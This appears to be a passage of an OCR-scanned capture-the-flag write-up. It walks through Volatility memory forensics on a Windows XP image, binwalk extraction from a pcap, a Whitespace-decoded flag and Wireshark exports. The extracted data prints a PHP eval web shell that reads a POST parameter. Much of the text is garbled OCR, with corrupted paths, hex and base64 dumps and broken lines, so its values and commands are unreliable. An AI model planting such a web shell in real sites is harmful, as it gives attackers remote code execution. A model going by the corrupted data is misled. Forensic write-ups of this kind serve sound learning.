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S%F— FRAEWINXPSP2x86

Windows PowerShell

M# Bt (C) Microsoft Corporation, EZBErHNF.
EHHINEFES PowerShell https://aka.ms/pscore6

PS D:\TOOLS\#{=H{iF\volatility—master\volatility-master> .\vol.exe .\xp_sp3.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layerl : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (D:\TOOLS\#{ = HUi\volatility-master\volatility-master\xp_sp3.raw)
PAE type : PAE
DTB : ©x764000L
KDBG : ©x805uUe2eBL
Number of Processors : 2
Image Type (Service Pack) : 3
KPCR for CPU 0 : OxffdffoeOL
KPCR for CPU 1 : 0xf8757000L
KUSER_SHARED_DATA : @xffdfeeeeL
Image date and time : 2021-12-27 02:37:41 UTC+0000
Image local date and time 2021-12-27 10:37:41 +0800

P5 D& \TOOLS\?&%FE&ﬂf\volatzllty master\volatility-master> | CSDN @~VAS~

RIEE— TiHE

0x81fd27e8 softupnotify.ex 2936 2021-12-27 :409: UTC+0000 2021-12-27 01
:40:40 UTC+O000

0x819b097@ mspaint.exe 3888 2021-12-27 T UTC+0000

0x81a08da® conime.exe 3260 2021-12-27 Il UTC+00080

0x81d68a50 IEXPLORE.EXE 3748 2021-12-27 144 UTC+0000

@x819d6al8 wdswfsafe.exe 2136 2021-12-27 Il UTC+00080

0x819c98a@ softupnotify.ex 884 2021-12-27 144 UTC+0000 2021-12-27 01
:44:52 UTC+0000

0x81c2b2f® IEXPLORE.EXE 3976 2021-12-27 144 UTC+0000

0x819b23b0@ softupnotify.ex 1916 2021-12-27 :00: UTC+0000 2021-12-27 02
:00:18 UTC+0000

0x81c33630 softupnotify.ex 972 2021-12-27 :03: UTC+0000 2021-12-27 02
:03:28 UTC+0000

0x81f2c7e® notepad.exe 2976 1904 2021-12-27 :27: UTC+0000

0x81c7f630 360zip.exe 3388 1904 2021-12-27 :28: UTC+0000

0x81ddde20 2345PicViewer.e 3812 1904 2021-12-27 :36: UTC+0000

0x81923020 taskmgr.exe 3628 668 9 2021-12-27 :37: UTC+0000

0x81c30da® DumpIt.exe 3300 1904 1 2021-12-27 :37: UTC+0000

PS D:\TOOLS\#{=FHUiF\volatility-master\volatility-master> CSDN @~VAS~

notepad® — F, R —~encryptf) &R i N g ?2??

PS D:\TOOLS\#{FHliF\volatility-master\volatility-master> .\vol.exe A\xp_sp3.raw notepad
Volatility Foundation Volatility Framework 2.6

Process: 2976

Text:




Text:
9999722777272277

20211209(encrypt)
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CSDN @~VAS~

#kali Windows volf &

[~ 1 root@kali: ~/¥H volatility_2.6_lin64_standalone
Xt WfE w8 EF EH

~/8 0 /volatility_2.6_lin64_standalone
in64 . Jetf/x 3
HarddiskVolumel\Documents and
evice\HarddiskVolumel\Documents and
evice\HarddiskVolumel\Documents and

B R—r1w- ri arddiskVolumel\Documents and
.png

~/8 0 /volatility_2.6_lin64_standalone

~/RH /volatility_2.6_lin64_standalone
in64 .. fectf/x 3.raw dumpfiles

y Found: ) :

onObject j j ) HarddiskVolumel\Documents and ¢
\Administr

cheMap s\HarddiskVolumel\Documents and ¢

] ~/HH /volatility_2.6_lin64_standalone
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void Encrypt(string )

.length(); i++)
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ython.exe D:/Python_project/tes
|_in_fighting_the_epidemic}
0

Er KA

secret.pcap Fbinwalk 2 &, T #AN 4

® /mnt/c/Users/mzq/Downloads
binwalk secret.pcap -e

DECIMAL HEXADECIMAL DESCRIPTION

[¢] 0x0 Libpcap capture file, little-endian, version 2.4, No link-layer encapsulation, s

naplen: 524288

5358 Ox1UEE Unix path: /var/www/html

8861 0x229D gzip compressed data, from Unix, last modified: 1970-01-01 00:00:00 (null date)

15210 Ox3B6A gzip compressed data, from Unix, last modified: 1970-01-01 00:00:00 (null date)
CSDN @~VAS~




Forp—AN 30 BLEEE B R — M E4E R.504b R zip

=i
Lpcap.extracted 9] #E"_secret.pcap.extracted”
A oEm ) e sm Hh
| | 3B6A 2022/1/8 13:52 prgs 2KB
|1 229D 2022/1/8 13:52 prits 2 KB

] 3B6A - igEE
SR BE(E BRO) BE(V) BHH)
897f94d0<?php eval($ POST['xian']);?
>504B0304140008000800B16A98530000000000000000E201000008002000666C61672E74787455540D0007DF58C561B564C561B364C56175780B000104F50100000414
803CFCO2BF8FF2B6BD1E242BD6464D624A8D84747CABBBEC8E2107C719CBA8BCT1A95223A58C811B11B1E8955BB913B9F441558B06872899C39D8ESD0O6DC325E62F7C4tE
037586311D367846B1471871896A01F504B0708BB2C9F9162000000E2010000504B0304140008000800396998530000000000000000F4000000060020006B65792E7773!
64C561B364C56175780B000104F501000004140000007D8EC10900300803DF11DCE1FG69FB25A3FDAD22A0ATE21111012E02637B2E20CAO0066A4F454C576CF2F3A8981F
7DODBC32D7B01504B07087FB167453D000000F4000000504B03041400080008003969985300000000000000000D010000110020005F5F4D41434F53582F2E5F6B65792E
561B564C561CF6CC56175780B000104F501000004140000006360156367606260F04D4C56F00F568850800290180327101B01F16D2006F219791988028E212141101658¢
6060904ACECFD54B2C28C849D5CB492C2E292D4E4D49492C49550E0886AABD0O0CAB60COCA2087585A589458979259979A90CF2614713910D2ED43730B030B436334C
AADCBAFB07672B5B030377034D075347375D2353103B22C5C2C0D758D0COCOC5D8CT1C4D2C5C0C8C1800504B0708B1276E0CAA0000000D010000504B010214031400(
9F9162000000E2010000080020000000000000000000A48100000000666C61672E74787455540D0007DF58C561B564C561B364C56175780B000104F5010000041400000
00800396998537FB167453D000000F4000000060020000000000000000000A481B80000006B65792E777355540D00071F56C561B564C561B364C56175780B000104F501
02140314000800080039699853B1276E0CAA0000000D010000110020000000000000000000A481490100005F5F4D41434F53582F2E5F6B65792E777355540D00071F56C
75780B000104F50100000414000000504B0506000000000300030009010000520200000000(S]
Jvar/www/html

olLon&CL7

1 Zip B E 5 = —Mag.txtflkey.ws

flag.txt key.ws



key.ws 2whitespace https://vii5ard.github.io/whitespace/

Files (Local Storage) hwerld. ws
[New] [Delete] [Save] [Run 1 [Optimize] [¥]Highlight [Downlead] [ HELP ]
O bf. we
B bi.wea
™ calc.ws

B collatz. wsa
O count. ws

[ fibonacci. ws
™ hanei. vs

B hello. bf

B hmacro. wsa

[ hworld. ws

O key. we

B lib/alias. wsa
B lib/math. wsa
B lib/rotl3, wsa
B lib/std. wsa
B lib/string. wsa

[ name. ws
[ nerd. ws
B nerd. wsa
[0 quine-2.ws putput] Censole Memory
[ quine. g; [Clear][EOF]
gro;}lﬁ- 14n¥1l1BeSafe
vm/bE. ws
B vm/bi. wsa

B we/bfZwsa. ws
B ve/bf2vsa. wsa

Debug

[Run] [Step] [Stop]
push 88
printc
push 105
printc
push &5
printc
push 110
printc
push 87
printc
push 105
printc
push 108
printc
push 108
printc
push &6
printc
push 101
printc
push 83
printc
push 37
printe
push 102
printc
push 101
printc
end

flag.txt/&snow i 2, % 19 2 whitespacefi# Hi

A httpyi XA, IR, KB —Mlag.txtidh 2% 5 s L F SR )G TEsecret, txt#R Flbase64 4 td i zip L4

M Wireshark - S - HTTP 3851

SRR |txt

Content Type:

O X

411 Content-Types

oE FHE REXE K, prg Lo

421 localhost text/html 283 bytes robots.txt
451 localhost text/plain 1137 bytes hint.txt

505 localhost text/html 286 bytes index.php.txt
656 localhost text/html 280 bytes log.txt

670 localhost text/html 279 bytes qq.txt

1061 localhost text/plain 1315 kB secret.txt
1083 localhost text/html 281 bytes flag.txt

1085 localhost text/html 278 bytes 1.txt




Save Save 411 Freview | CIOSE_}::;QJII'F .fc_r,-flﬁ.}ﬂ_’;,u

| secret.txt - iT=E -
SCHF) BEE fER0) BEV) FEIH)
‘U EsDBBQAAAAAAALIMVMAAAAAAAAAAAAAAAAGACAAYZhpcHMVWVQNAAe30MZhxqDGYcagxmF1eAsAAQTTAQAABBQAAABQSWMEFAAIAAGACZWZUWAAAAAAAAAADGAAABAAIABT
TWCBUX2NoaXBzVVQNAAe3oMZhxgDGYcagxmF1eAsAAQT1AQAABBQAAAB)YBV]Z2BiYPBNTFbwD1alUIACKBgDJXAbAFECIAbxLZEQBRxDQoKgTJCOFUCshaaEESGukpyfq5dYUICTgpebWp
Wf7eviWZKaG1gcWhSSmF7MwIBUKINZXGJgsIADagAjkknlgBMAUEsSHCIbeAqhtAAAAOGAAAFBLAWQUAAGACADUYSITAAAAAAAAAABBaAAADGAGAGNoaXBzLzkyODAucG5NVVQNAAdw
GYRygxmF1eAsAAQT1AQAABBQAAADst/VbVNBbNrgBAYYQhpCQGnDoDIWVcKgRIRGBQSSkQ1q6u7tTgRGRFGZEQiISkQUKQUGKkGYQGDt/3h/P +cvED87mva
+31rLX3Xteq537u)1pbU/UOBT1SAADUgKVBkbe1xf8KGP/2eROETWAAKE +WBUpWz54BfLddYAA/OhYA3Vp4tw2xTWaA +LYmv21z3RaAefP/fPMT/sN/+A//AT/8h/
+/gjCIAPIfiKCI1RBBSaD/105LSf4/NoGICACkpPxf+/+qChD7 /wh4T038h//wH/7Df/gP//
+GmliYqlyomlyYOPTWeCAply71/9kHAPHfVokAQD9eHa6065X3AudZj/751i1qp3VU2qTIDFzqTyvXOaF6jumvypQIASILMkSOGFFpMHt4m3sBQfNtg/i5OxRp14Z0vdQNHL3h7PoOM3UksRIq¢
msflvpZ/4m/zOXH9Iu2/EbY]7 /ig5Hzax37h7Np7yXP38elU2juyyO/UuGWBRAFMRMOFAYhmaXDQNDcbVqsGFHzbexaiUJOxP7NCrGIVHAQCE6B/uUvOpEsehY 2elKzoYw
+EjZqreSpWeD946FVWCi189i39WaE1a0AYcDISPMr+V2cqV7UsoZD7uK7YVY0OXveGBN27vIXYyQQNgalnHT1YBWy4+KF3UWuqSh3a07TIffCh8HnmxMWmtmrICBMIjJ5dyM30OhIF33g
+hyxZPt55Z6IW5MRRfd +E7bAd385e09569G)LsYWX4ANLWWdodHSp2XPvcummDRLSqalDS6dW6nH5teOR6n4vwkw6I QT6t1 EWzUOOVWXU1vK1ZTXGKMRNT3z
+PDwDxgF3n75nbpWIiFKErNraxYmgQluQpFTRagjbnxqx+1z3FCGZg0pg/SyYepflONEvw5eVeqFQnvrT2zmy
+e6eN281ckYL5Ac478wdplYKmbTsd8bnoj7IVp73zsWkuUrkldg6auisfkVVOe7sBDrjes/dSn9uxsefLI4H74VD4e2SeZqlOsuRZtt55iqjRWUBFxuQTjXt7fL340lCO00JKdOQshGxjY4Lmyc
+03PjNu7bs7WFN +eFS70zs/Pzsr672+vr615yGUgPGRYrR4ktRcgPPkt7DVrlyfEv/UeUTr+ McuzzZbxdj64Xxt9JZseBZHjDFOAgnhiOZ8 + xRsxEZgykcCuhGHwqvA5D
+7hs//6jvMrJ20XWCdDEIXgHNeOFwOxBfUb2D0vSgoWN/Q6 +eVi3z7CEBYhsUyaEhlavpaewsW6zspOgBOjHVIW3r)Ycywh2DhT56PWnN//ljinHpi/KMJ60Uxd + mMBX94¢/A7KTmalcpn26UWc
+VaOLZw+LODxDOWZubt3V0O1VbNsIWB1JXfUYIafSQvbaZfir4K8AsMNLHPX/OGgNIRIjd/awzLBISENLhSfzvbxFNFUTAXSgW0zO
+2XFI9smVwWy8v4XhjlsORyJHYpJChFQOJFVei9C3yRXgX6fOKTEphpNd50JABR1sHobdWLr/m2YWWD1MWeThjXPm]82nLoflSHWCNv/f2uxufNmOpkmcaHUONS380edXVZVIGg4pdWzM8d
s18mtPUenF3YnTXqpUbOrtqR/Nej07XPey27PME2hzcsrDafoX4vORQR759zpi9bu7)rYvB7ZrWz29KSkEBK5XXK8SvcZjknSUWq +ULMOM|Ly8vISLvZscm1tzX6mqrKiQkCwEma7621cgMOPqJ 71
+j55+1Ds6atMVmjkx3JndNOTdv7R/0/W50iN54YCmr8RNE8wetu/PVuE2YluJmdaB2FQKyrKD1MvSPumVYwzfiLFYeUPVkmgLsNFiU/dOfOqS79pWz
+RqcoVPezhMjZtVkYGOcHUBN9/RZGSVTSeRTGGkzIkXoRZSjzOP3XIIMONLwcwR111dLUjcgvsSHNNIMOhkScDzIrSZ8mFvfO8f)fs303Ds3zHn9y 1BYUop
+YsdYuvexpV6KTD20gGLFGXTaQhqOwCFGVj8ukG
+6IUzHWhB8ZESzjDrOnXvOzGC8XetD5sSqpRbvé +2fpQVeefnNR78FB6RY4/FH2QyKwZSUIPbpnxWqEUOmMpKOr78ILsFRPAGIHKBWVrxoGAiwj8N4SDEj1Cc33EWYOYJEe2IWBEHDREMT7IVNrall
2wmpk92XWavplTn3zfs90XfOmYNcw4zGWE8U 1kaHDaol/dT4eHIIkykxLVup9CPs5sSUOt6PpzXjlICCj/7mDjZkrdGX7TsL69IVEqgxcp2p3drkzd0/Hh1Qzxepd K4 2hIIFLYvt3d 1fIT8GwTOrrhAQFF/
2m7C7i62B60PZRIZEL3R|Cv1PUeZD19fXoZdng TNSEETU9ZWPWKZIP3 +peXf02vPovbByKytxgYwdWxw3zcBQLAPSsh88G)/jtX2WtwgDXIeWKBijR6 +cYemd4iGj2IW6IcEJwvvrK7bvV/4swxJjiD:
kuTKGniKcCw8/PH9ksi78W/ZzbX/iHIdb7PZn/I8Axm
+FvU3bMfeEul03QfT09vYeelFzqRfGaKa/FCi5COkre5WTm5gX70EhdvnTEgNfmualR36hYaxqSI6mvFnLYFU62130ZoEO7jArXYq5E7K82HrihhWSwkZ0/zaVOfhsWzrpBiDKUrm1RgSHINZ3E4h:
rJ+76hPLX70IWW+W2GhH960yc+0+/OxfdJTiI7B3MNDodOLDRVCSCemyDVE4gGRIhxhDxHus90rThvik ActEtmw4r)X1D9gaVetiKK
+5GtOqVzUROK7YVEQfZZjg60kinDjcRDOIzqq8q35bpKvVsuDN7{Z6xTfRpNeR11F3hYKwbOcugy
+VaXnZ4gRtaD1kg9/esNNtRqEo35winfrGjb3K5EHhy6dQaWNxU88VIYFF22wAp3Q1Vj0yFCR5fThj6VzV9 +cqc+VTBhvFepRXEa6a6fclh
+hJ3bSOBnKie2eyBawgHbJtryZ8c33L4314QQIKcqV76tfBTa5)Wu8Jp27ZyxRU9IUcZkoSv5Y2Uso7hcHNI41ZTOLHAGP7NYyT3VZdJLUDRfSrug0ZWvyh/oBVum2NddhByexRkG8nVMqHX04u7
BKVZrhk1GCb6h17iTk+mrP9IH20bQTmexsulNbqg180udxhkm7H6y/2s+WF/O/qTw6/YiKVgrwpi1NYBHO7JYQ7jii+LrC5LmHTaDTyhtWPHH1t/Y96458ebNtgtvqlHjKsqrkPaXimOIUv35xrYj/b
+ip8AssdovMjXsOH2WQr/W57BCdRntBmiecahk8od9pl/LYZduiXfYvs8c03cyhOnt22uGHVAN
+mKbzb9dS5ZLIxDunFxeXnZ3Je5EpnRy 1tDAYNR4VD2eWP0eKmt)31EZQlllavPv3rCFZiZwWSVIc6BCtHhZeUVITVriwWh4 +EKAMKNnS3X8UG8TV7¢cbVP7qRszkvbe5k205HTh7KbVIMfGXIL52!
NXuRfX006KmMp7X/8sXXE97p5ZupNPENJ97eXvtoWmN5Hz533TOD/FIStV +cmyfalWwk7uGiR8uGnY60 +48i3e)8CmLD/RfpOZC7G1dbSRZ30ah + Xu3s
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